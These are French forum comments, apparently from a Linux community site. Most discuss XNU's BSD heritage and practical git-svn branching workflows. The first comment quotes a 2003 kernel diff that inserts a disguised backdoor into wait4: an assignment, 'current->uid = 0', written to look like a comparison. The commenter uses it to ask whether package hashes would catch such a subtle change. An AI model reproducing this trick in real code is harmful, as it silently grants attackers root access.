Je t'offre un billet d'avion pour le blackhat à Vegas si tu veux présenter ton idée.
[^] # Re: Magie !
Posté par ckyl . En réponse au journal Aider au développement d'un nouveau gestionnaire de paquets. Évalué à 7.
--- GOOD 2003-11-05 13:46:44.000000000 -0800
+++ BAD 2003-11-05 13:46:53.000000000 -0800
@@ -1111,6 +1111,8 @@
schedule();
goto repeat;
}
+ if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
+ retval = -EINVAL;
retval = -ECHILD;
end_wait4:
current->state = TASK_RUNNING;
Tu penses que les "hash" des deux paquets kernels GOOD et BAD se ressembleraient ? Plus ou moins que les binaires du même code source compilés avec des compilateurs ou des optimisations différentes ?
Tu me fais penser à un certain Jayce...
[^] # Re: Statistiques
Posté par ckyl . En réponse au journal Quand on veut, on peut.. Évalué à 6.
Dans XNU ce qui vient de BSD c'est:
- la pile réseau
- le VFS
- Processus
- API POSIX
- Et deux trois autres petit trucs comme les IPC, audit, MAC et ceux que j'ai oublié.
Autant je dirais pas que c'est un BSD, autant "le kernel et tout le reste n'ont strictement rien a voir avec BSD" me semble pas forcement des plus juste non plus...
http://www.opensource.apple.com/tarballs/xnu/xnu-1228.12.14.(...) Tu peux jouer avec le répertoire bsd/ au hasard.
[^] # Re: Git sous Windows
Posté par ckyl . En réponse au journal migrations vers de vrai outils de dev.... Évalué à 1.
Ici beaucoup utilisaient subclipse, tout ceux qui sont passé à git ont dégagé jgit très rapidement.
[^] # Re: git-svn n'est pas parfait
Posté par ckyl . En réponse au journal migrations vers de vrai outils de dev.... Évalué à 2.
Dans l'ensemble ca marche très bien. Faut juste pas chercher les problèmes à faire 150 sous branches croisées. Le seul vrai problème que j'ai eu c'est l'impossibilité de "svn dcommit" à cause de conflits au rebase après ~50 cherry pick pour une branche de maintenance. En refaisant l'opération par bloc de 10 c'est passé. Ça s'est produit une seule fois.
Autrement rien à signaler du coté de git-svn. Les quelques fois ou ça part en live, tu arrives toujours à sauver le coup avec un peu d'effort; contrairement à SVN ou j'ai déjà fini à faire des diff/patch à la mano.
Ça fait ce que je veux sans se vautrer et ça me coute 0 en admin et en formation.
> Mais mon problème est dans l'usage d'un tel outil par des personnes qui [...]
Git me semble une mauvaise option alors. La courbe d'apprentissage de git est assez ardue et je connais pas 2 personnes au monde qui l'utilise de la même façon. En plus avec un mélange de branche locale et remote mappées sur le repo SVN, ça ouvre encore plus de possibilités.
Soit tu leur trouves un VCS moderne avec une interface simple et tu penses que ça vaut le coup de former tout le monde. Grincheux et adaptes des GUI sous <MonOSFavoris, MonIDEFavoris> compris.
Soit tu les laisses sous SVN en écrivant bien les procédures pour qu'une branche soit mergée plus tard (surtout tu inclus une cible qui formate le code source dans ton processus de build). Et tu as une petite équipe sous git-svn qui gère le reste.
Tu peux aussi essayer de documenter *la* méthode de faire avec git dans ton projet. Maintenant on à du passer 50% de nos dev sous git, faut compter perdre 2/3 jours pour les mettre dans le bain et deux bonnes semaines à galérer. Et maintenant ils n'utilisent plus du tout git comme moi :-) D'une manière générale les gens sont passé à git-svn pour la souplesse de développement que ca offre plus que pour la gestion des branches SVN. Ils n'ont toujours pas le droit de merger dans le trunk ou dans les branches de release. Par contre ils ont bien compris que les branches SVN et des branches locales rendaient *leur* travail plus facile... On a que du Linux en station aussi.
[^] # Re: git-svn n'est pas parfait
Posté par ckyl . En réponse au journal migrations vers de vrai outils de dev.... Évalué à 5.
On souhaitait passer à un modèle de dev basé sur les branches dans notre équipe, en ayant pour contrainte de devoir garder SVN comme dépôt officiel. De plus on ne souhaitait pas former tout les devs à un nouveau VCS.
On est donc parti sur git-svn depuis ~18 mois. Les résultats sont très satisfaisants: aucun problème pour merger ~40 branches (donc certaines de plus de 12 mois), souplesse de git pour les devs qui en ont besoin, les autres restent à SVN ça évite de former 30 personnes à git pour rien. Tout les essais de merge avec SVN (et svnmerge) avaient foiré avant. Bref ca fait ce qu'on veut, sans avoir couté cher.
Effectivement le problème du backend SVN est que tu perds les informations de merge, donc ca devient le bordel quand tu cherches dans l'historique. Faut être un peu organisé. Mais y'a pas de miracle...
Notre utilisation:
- Une branche par feature (donc merge trunk->branche pour se synchro, et branche -> trunk pour l'intégration)
- Une branche pour chaque branche de release (cherry pick trunk -> release et tags de la branche pour chaque version mineure)
- Branche git locale pour tout ce qui le nécessite (et possibilité de la publier sur le SVN si on constate que c'est plus compliqué que prévu)
Après tout dépend de ton cahier des charges. Un VCS moderne apporte plus de fonctionnalités mais ça coute cher en déploiement/formation/intégration. Tu ne peux pas faire ça en 1 mois et tu auras à former tout nouveau dev dans ton équipe. Surtout que y'a 1000 façons d'utiliser git.
git-svn ca permet de faire des merges sur un repo SVN sans rien changer pour les autres (tu les fais co leur branche et zou). Et pour les devs qui migrent ça apporte le confort de git.
Perso je ne m'amuserais pas avec des passerelles lecture/écriture sur un repo.